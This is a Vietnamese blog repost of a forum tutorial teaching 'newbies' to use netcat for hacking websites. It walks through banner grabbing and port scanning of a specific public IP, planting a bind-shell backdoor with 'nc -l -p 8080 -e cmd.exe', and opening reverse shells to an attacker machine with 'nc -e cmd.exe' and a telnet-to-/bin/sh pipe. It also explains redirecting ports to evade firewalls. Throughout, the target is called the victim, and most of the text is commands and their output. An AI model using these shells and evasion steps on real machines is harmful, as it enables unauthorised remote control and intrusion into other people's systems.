Trao đổi với tôi

http://www.buidao.com

12/16/09

[Security] Hướng dẫn sử dụng Netcat [nc] cho newbie

Mình thấy có 1 bài tiếng Anh rồi , nhưng thôi Post thêm bài này cho đầy đủ , để cho newbie học tập & tiện cho việc anh em tra cứu
(sưu tầm có chỉnh sửa chút xíu)

============================
-==Hướng dẫn sử dụng Netcat==-
============================

1. Giới thiệu

Netcat là một công cụ không thể thiếu được nếu bạn muốn hack một website nào đó.

+Bạn có thể dùng netcat (nc) backconnect từ máy victim (máy chứa website) về máy mình
+Hoặc đặt netcat lắng nghe trên 1 port của máy mình , đợi kết nối với shell script trên server victim

Khi kết nối thành công ta là đã có 1 shell lệnh để làm việc . Nào ta bắt đầu

2. Biên dịch

Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng.

Trích:
- Mở File netcat.c hiệu chỉnh lại cho phù hợp
+ ta tìm dòng res_init(); trong main() và thêm vào trước 2 dấu "/": // res_init();
+ thêm 2 dòng sau vào phần #define (nằm ở đầu file):
#define GAPING_SECURITY_HOLE
#define TELNET
- biên dịch: make linux
- chạy thử xem có làm việc ko: ./nc -h
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào ":."
PATH=/sbin:/usr/sbin:...:.
Ngoài ra các bạn có thể Down con netcat đã đc biên dịch sẵn ở ĐÂY (tiện nhỉ ) Down về giải nén ra là dùng đc trong Linux

Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe. Download Chỉ việc giải nén và chạy là xong.

3. Các tùy chọn của Netcat

Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:

Trích:
C:\>nc -h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

* Cú pháp:

- chế độ kết nối : nc [-tùy_chọn] tên_máy cổng1[-cổng2]

vd: muốn kết nối đến port 12345 đã đc backdoor mở sẵn trên sv [69.126.213.152] ta làm như sau
Trích:
nc 69.126.213.152 12345
Oki !

- chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng]

vd: đặt netcat lắng nghe ở port 1111 trên máy của ta , làm như sau
Trích:
nc -lvp 1111
tí nữa ta đợi kết nối từ victim đến đó và connect , oki !

* Một số tùy chọn khác các bạn có thể tham khảo thêm , với việc sử dụng netcat tinh vi hơn :

Trích:
-d tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ steath(không hiển thị trên thanh Taskbar)
-e prog thi hành chương trình prog, thường dùng trong chế độ lắng nghe
-h gọi hướng dẫn
-i secs trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
-l đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến
-L buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối.
-n chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 69.126.213.152, Netcat sẽ không thẩm vấn DNS
-o file ghi nhật kí vào file
-p port chỉ định cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên(random)
-s addr giả mạo địa chỉ IP nguồn là addr
-t không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd.
-u dùng UDP(mặc định netcat dùng TCP)
-v hiển thị chi tiết các thông tin về kết nối hiện tại. -vv sẽ hiển thị thông tin chi tiết hơn nữa.
-w secs đặt thời gian timeout cho mỗi kết nối là secs mili giây
-z chế độ zero I/O, thường được sử dụng khi scan port

Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080
4. Các ví dụ:

a- Chộp banner của web server

Ví dụ: netcat đến 210.245.0.22, cổng 80

Trích:
C:\>nc 210.245.0.22 80
HEAD / HTTP/1.0

HTTP/1.1 302 Object moved
Connection: close
Date: Sun, 22 Oct 2006 17:31:28 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET

Location: /Vietnam/Home/
Content-Length: 135
Content-Type: text/html
Expires: Sun, 22 Oct 2006 18:01:28 GMT
Set-Cookie: ASPSESSIONIDCARRBACR=JLMJMMMBPKFHKHNHPCIPKNNF; path=/
Cache-control: private

Để biết thông tin chi tiết về kết nối, bạn có thể dùng -v (-vv sẽ cho biết các thông tin chi tiết hơn nữa)

Trích:
C:\>nc -vv 210.245.0.22 80
210.245.0.22: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [210.245.0.22] 80 (http) open
HEAD / HTTP/1.0

HTTP/1.1 302 Object moved
Connection: close
Date: Sun, 22 Oct 2006 17:34:06 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: /Vietnam/Home/
Content-Length: 135
Content-Type: text/html
Expires: Sun, 22 Oct 2006 18:04:06 GMT
Set-Cookie: ASPSESSIONIDCARRBACR=IGHKMMMBLJOMCHCDNCAHGEGO; path=/
Cache-control: private

sent 17, rcvd 338: NOTSOCK
Nếu muốn ghi nhật kí, hãy dùng -o . Ví dụ:

Trích:
nc -vv -o nhat_ki.log 210.245.0.22 80

- xem file nhat_ki.log : C:>type nhat_ki.log

Trích:
< 00000000 48 54 54 50 2f 31 2e 31 20 33 30 32 20 4f 62 6a # HTTP/1.1 302 Obj
< 00000010 65 63 74 20 6d 6f 76 65 64 0d 0a 43 6f 6e 6e 65 # ect moved..Conne
< 00000020 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 44 61 # ction: close..Da
< 00000030 74 65 3a 20 53 75 6e 2c 20 32 32 20 4f 63 74 20 # te: Sun, 22 Oct
< 00000040 32 30 30 36 20 31 37 3a 33 36 3a 31 30 20 47 4d # 2006 17:36:10 GM
< 00000050 54 0d 0a 53 65 72 76 65 72 3a 20 4d 69 63 72 6f # T..Server: Micro
< 00000060 73 6f 66 74 2d 49 49 53 2f 36 2e 30 0d 0a 58 2d # soft-IIS/6.0..X-
< 00000070 50 6f 77 65 72 65 64 2d 42 79 3a 20 41 53 50 2e # Powered-By: ASP.
< 00000080 4e 45 54 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 2f # NET..Location: /
< 00000090 56 69 65 74 6e 61 6d 2f 48 6f 6d 65 2f 0d 0a 43 # Vietnam/Home/..C
< 000000a0 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 # ontent-Length: 1
< 000000b0 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 # 35..Content-Type
< 000000c0 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 45 78 70 # : text/html..Exp
< 000000d0 69 72 65 73 3a 20 53 75 6e 2c 20 32 32 20 4f 63 # ires: Sun, 22 Oc
< 000000e0 74 20 32 30 30 36 20 31 38 3a 30 36 3a 31 30 20 # t 2006 18:06:10
< 000000f0 47 4d 54 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a # GMT..Set-Cookie:
< 00000100 20 41 53 50 53 45 53 53 49 4f 4e 49 44 43 41 52 # ASPSESSIONIDCAR
< 00000110 52 42 41 43 52 3d 4c 46 42 4c 4d 4d 4d 42 45 42 # RBACR=LFBLMMMBEB
< 00000120 42 4f 44 42 4a 45 50 4f 44 45 45 43 44 47 3b 20 # BODBJEPODEECDG;
< 00000130 70 61 74 68 3d 2f 0d 0a 43 61 63 68 65 2d 63 6f # path=/..Cache-co
< 00000140 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a # ntrol: private..
< 00000150 0d 0a # ..
dấu < nghĩa là server gởi trở về netcat
dấu > nghĩa là netcat gởi đến server


b- Quét cổng

- chạy netcat với tùy chọn -z. Để quét cổng nhanh hơn, hãy dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1->500) của host 69.126.213.152

Trích:
[root@localhost]# nc -nvv -z 69.126.213.152 1-500
(UNKNOWN) [69.126.213.152] 443 (?) open
(UNKNOWN) [69.126.213.152] 139 (?) open
(UNKNOWN) [69.126.213.152] 111 (?) open
(UNKNOWN) [69.126.213.152] 80 (?) open
(UNKNOWN) [69.126.213.152] 23 (?) open

- nếu bạn cần scan các cổng UDP, dùng -u

Trích:
[root@localhost]# nc -u -nvv -z 69.126.213.152 1-500
(UNKNOWN) [69.126.213.152] 1025 (?) open
(UNKNOWN) [69.126.213.152] 1024 (?) open
(UNKNOWN) [69.126.213.152] 138 (?) open
(UNKNOWN) [69.126.213.152] 137 (?) open
(UNKNOWN) [69.126.213.152] 123 (?) open
(UNKNOWN) [69.126.213.152] 111 (?) open

c- Biến Netcat thành một con backdoor

- trên máy tính của nạn nhân [69.126.213.152], bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn -l(listen) và -p port để xác định số hiệu cổng cần lắng nghe, -e để yêu cầu netcat thi hành 1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe(đối với NT) hoặc /bin/sh(đối với Unix). Ví dụ:

Trích:
E:\>nc -nvv -l -p 8080 -e C:\WINDOWS\system32\cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error

- trên máy tính dùng để tấn công [172.16.84.1], bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080 , nó sẽ như thế này

Trích:
C:\>nc -nvv 69.126.213.152 8080
(UNKNOWN) [69.126.213.152] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

E:\>cd test

E:\test>dir /w

Volume in drive E has no label.
Volume Serial Number is B465-452F

Directory of E:\test
[.] [..]
head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe

6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free

C:\test>exit

sent 20, rcvd 450: NOTSOCK

Như bạn thấy, chúng ta đã có thể làm gì mà chẳng được với máy của nạn nhân qua shell lệnh này?! Tuy nhiên, sau kết nối trên, netcat trên máy nạn nhân cũng đóng luôn. Để yêu cầu netcat lắng nghe trở lại sau mỗi kết nối, bạn dùng -L thay cho -l.

**Lưu ý: -L chỉ có thể áp dụng cho bản Netcat for Windows, không áp dụng cho bản chạy trên Linux.

Trích:
E:\>nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...

- Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là -s <địa_chỉ_ip_của_máy_này>. Ví dụ:

Trích:
E:\>netstat -a
...
TCP nan_nhan:domain nan_nhan:53 LISTENING <- cổng 53 đang lắng nghe
...
cổng 53 đã lắng nghe rồi, ta tiếp tục
Trích:
E:\>nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163

- Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là xong.

- Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat.

5. Kĩ thuật dùng Telnet nghịch chuuyển

- dùng telnet để nối cửa số netcat đang lắng nghe, kế đó đưa lệnh từ cửa sổ này vào luồng telnet nghịch chuyển, và gởi kết quả vào cửa sổ kia. Ví dụ:

- trên máy dùng để tấn công(172.16.84.1), mở 2 cửa sổ netcat lần lượt lắng nghe trên cổng 80 và 25:
Trích:
+ cửa sổ Netcat (1) : C:\>nc -nvv -l -p 80
+ cửa sổ Netcat (2) : C:\>nc -nvv -l -p 25

- trên máy tính nạn nhân(172.16.84.2), telnet nghịch chuyển đến máy dùng để tấn công(172.16.84.1), dùng /bin/sh để kết xuất:

Trích:
[root@nan_nhan /]# telnet 172.16.84.1 80 | /bin/sh | telnet 172.16.84.1 25
/bin/sh: Trying: command not found
/bin/sh: Connected: command not found
/bin/sh: Escape: command not found
Trying 172.16.84.1...
Connected to 172.16.84.1.
Escape character is '^]'.
_

Kết quả là :

+ cửa sổ Netcat (1)
Trích:
C:\>nc -nvv -l -p 80
listennng on [any] 80 ...
connect to [172.16.84.1] from [172.16.84.2] 1055
pwd
ls -la
_

+ cửa sổ Netcat (2)
Trích:
C:\>nc -nvv -l -p 25
listening on [any] 25 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.2] 1056
/

total 171
drwxr-xr-x 11 root root 4096 Oct 8 20:22 ./
drwxr-xr-x 11 root root 4096 Oct 8 20:22 ../
drwxr-xr-x 2 root 3921 4096 Oct 16 18:37 bin/
-rwxr-xr-x 1 root root 1320 Oct 22 12:33 check*
drwxr-xr-x 7 root root 3980 Oct 21 17:14 dev/
drwxr-xr-x 4 root root 4096 Oct 8 20:22 etc/
drwxr-xr-x 3 root root 4096 Oct 8 20:22 home/
drwxr-xr-x 11 root 3921 4096 Oct 16 18:37 lib/
dr-xr-xr-x 232 root root 0 Oct 21 13:10 proc/
drwxrwxrwt 15 root 3921 380928 Oct 22 13:17 tmp/
drwxr-xr-x 11 root root 4096 Oct 8 20:22 usr/
drwxr-xr-x 6 root root 4096 Oct 8 20:22 var/

Telnet trên máy nạn nhân sẽ chuyển tất cả những gì mà chúng ta gõ vào trong cửa sổ Netcat (1) - cổng 80 kết xuất sang cho /bin/sh thi hành. Kết quả của /bin/sh được kết xuất trở lại cho máy tính dùng để tấn công trên cửa sổ Netcat (2) - cổng 25. Nhiệm vụ của bạn là chỉ cần gõ lệnh vào cửa sổ Netcat (1) và xem kết quả trong cửa sổ Netcat (2).

Sở dĩ tôi chọn cổng 80 và 25 vì các cổng này thường không bị firewalls hoặc filters lọc.

6. Tạo kênh sau

Cũng tương tự như telnet nghịch chuyển.

- trên máy tính dùng để tấn công, bạn đặt Netcat lắng nghe trên cổng 80 vì cổng này sẽ không bị firewall chặn:

Trích:
C:\>nc -nvv -l -p 80
listennng on [any] 80 ...

- tiếp theo, từ shell lệnh của máy nạn nhân, bạn nối Netcat đến máy dùng để tấn công với tùy chọn -e để đổ shell:

Trích:
E:\>nc -e cmd.exe 172.16.84.1 80

Một khi máy nạn nhân thi hành chuổi lệnh trên, kênh sau nc sẽ được tạo, "nhét" shell (trong trường hợp này là cmd.exe) trở vào nc. Kể từ đây, chúng ta đã có 1 shell lệnh ảo.

Trích:
C:\>nc -nvv -l -p 80
listenning pm [any] 80 ...
connect to [172.16.84.1] from [UNKNOWN] [172.16.84.3] 1035
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:\>
7. Đổi hướng cổng

Bạn có thể dùng tunnel.pl hoặc fpipe.exe. Hãy xem ví dụ sau:

- chạy nc trên cổng bất kì:

Trích:
E:\>nc -nvv -L -p 1234 -e cmd.exe
listening on [any] 1234 ...

- chạy tunnel hoặc fpipe để đổi hướng cổng

Trích:
C:\>perl tunnel.pl --port=53 --tohost=127.0.0.1 --toport=1234
Trích:
C:\>fpipe -l 53 -r 1234 127.0.0.1

tunnel, fpipe sẽ lắng nghe trên cổng 53, sau đó chuyển tiếp kết nối đến 127.0.0.1:1024, đây là cổng mà netcat đang lắng nghe.

Đổi hướng cổng là một cách để đi vòng qua firewalls.

-----(sưu tầm)-----
**Underground.vN**

Link: http://vnbrain.info/showthread.php?t=948